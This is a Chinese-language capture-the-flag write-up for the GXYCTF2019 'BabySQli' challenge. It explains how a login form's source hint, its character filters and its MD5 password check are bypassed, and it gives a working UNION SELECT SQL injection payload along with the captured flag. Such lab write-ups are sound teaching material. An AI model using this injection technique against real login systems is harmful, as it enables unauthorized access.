[GXYCTF2019]BabySQli 1
開啟例項發現是個登入頁,檢視原始碼未發現有效資訊,admin登入,顯示密碼錯誤,發現引數name
和pw
檢視原始碼發現base
編碼
解密發現是base32
+base64
混合編碼,並發現解密後的SQL語句,判斷注入點為username
select * from user where username = '$name'
嘗試萬能密碼
顯示do not hack me!
,懷疑是字元被過濾
order by判斷欄位數,為4顯示異常,確認欄位數為3
嘗試輸出資料庫語句,經過測試確認括號被過濾
檢視原始碼,發現確實or = | ()都被過濾了,並且注意到
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
這邊的arr就是欄位的位置,所以就是需要欄位的第三個位置填入密碼和後面pw傳遞的引數的md5加密的字串相等
ok,那直接MD5隨便加密一個密碼
e10adc3949ba59abbe56e057f20f883e
構造payload
name=' UNION SELECT 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456
獲得flag
flag{fb83a3ca-f885-48e4-bfdc-8630bb78f837}
tips:這道題有個坑點,就是用hacker bar不行,我在hacker bar浪費了很長的時間